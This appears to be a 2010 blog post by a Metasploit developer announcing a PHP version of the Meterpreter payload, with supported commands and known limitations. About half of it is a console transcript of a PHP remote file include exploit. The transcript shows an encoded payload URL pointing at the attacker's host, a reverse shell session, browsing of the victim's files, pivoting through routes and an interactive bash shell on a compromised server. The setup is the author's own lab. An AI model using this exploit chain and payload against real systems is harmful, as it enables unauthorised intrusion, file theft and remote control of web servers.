Meterpreter, as I'm sure most of our readers know, is an advanced in-memory payload with tons of useful post-exploitation features. About a year ago, while looking through various buggy, backdoored PHP shells, I decided it might be useful to have some of Meterpreter's networking features in the web's most pwnable language. I started to implement this idea prior to Blackhat last year but got caught up in other projects and let it languish. Last week I dusted it off, cleaned it up and committed the first steps toward a full-fledged Meterpreter in PHP.
- stdapi:filesystem commands: ls, rm, pwd, cd, upload, download, cat, edit
- stdapi:system commands: ps, kill, execute*, getpid, getuid, sysinfo
- stdapi:network commands: portfwd
- msfconsole commands: route
* except interaction (the -i option) on Windows.
This is probably best illustrated by some example usage.
msf exploit(php_include) > exploit [*] Started reverse handler on 192.168.99.1:4444 [*] Using URL: http://192.168.99.1:8080/foo [*] PHP include server started. [*] Sending /vuln/test.php?path=%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%39%39%2e%31%3a%38%30%38%30%2f%66%6f%6f%3f [*] Meterpreter session 27 opened (192.168.99.1:4444 -> 192.168.99.129:2326) at 2010-06-14 14:03:31 -0600 meterpreter > sysinfo Computer: EGYPT-B3E55BF3C OS : Windows NT EGYPT-B3E55BF3C 5.1 build 2600 meterpreter > ls Listing: C:\Program Files\Apache Software Foundation\Apache2.2\htdocs\vuln ========================================================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100666/rw-rw-rw- 141 fil 2010-06-08 01:32:56 -0600 test.php meterpreter > cd .. meterpreter > ls Listing: C:\Program Files\Apache Software Foundation\Apache2.2\htdocs ===================================================================== Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 100666/rw-rw-rw- 51 fil 2010-06-14 14:20:53 -0600 foo.php 100666/rw-rw-rw- 44 fil 2004-11-20 11:16:26 -0700 index.html.bak 100666/rw-rw-rw- 609 fil 2010-06-03 16:07:59 -0600 index.php 100666/rw-rw-rw- 16 fil 2010-06-07 09:42:10 -0600 phpinfo.php 40777/rwxrwxrwx 0 dir 2010-06-08 01:32:51 -0600 vuln meterpreter > cat foo.php <?php echo PHP_VERSION . "\n" . PHP_OS . "\n"; meterpreter > background msf exploit(php_include) > route add 127.0.0.1 255.255.255.0 27 msf exploit(php_include) > connect 127.0.0.1 80 [*] Connected to 127.0.0.1:80 GET /foo.php HTTP/1.0 HTTP/1.1 200 OK Date: Mon, 14 Jun 2010 20:03:51 GMT Server: Apache/2.2.15 (Win32) PHP/5.2.13 X-Powered-By: PHP/5.2.13 Content-Length: 111 Connection: close Content-Type: text/html 5.2.13 WINNT msf exploit(php_include) > sessions -i 26 meterpreter > sysinfo Computer: vuln OS : Linux vuln 2.6.32-22-generic #36-Ubuntu SMP Thu Jun 3 19:31:57 UTC 2010 x86_64 meterpreter > getuid Server username: www-data (33) meterpreter > execute -i -f bash Process 3637 created. Channel 4 created. uname -a Linux vuln 2.6.32-22-generic #36-Ubuntu SMP Thu Jun 3 19:31:57 UTC 2010 x86_64 GNU/Linux exit meterpreter >
- Migrate. This can never work since it doesn't make sense to inject PHP code into a native process, even if PHP had access to the debugging API calls that make it possible.
- Token stealing. See above.
- Screenshots. A lot of servers running PHP don't even have a screen.
- Process interaction on Windows. You can still execute channelized processes, and then read/write the channel, but stream_select() is weird on Windows
- It appears that reading from a socket or pipe that has no data will never return, even after setting timeouts. I'm probably missing something that makes this work. Setting non-blocking mode on every socket has it's own issues, but it may be the only way to fix this.
- SSL. OpenSSL is not compiled into PHP by default which is a bummer.
Eventually I intend to make this work with multiple transport methods. Right now it is a single reverse tcp stage. It would also be nice to use SSL when PHP has been compiled with OpenSSL support but this might be tricky on the ruby side. Extensions need to work for a default install of PHP (zlib is not compiled in by default), which simply means not compressing them before sending. The size of the code should in general be relatively small anyway, so this shouldn't increase the network traffic by much.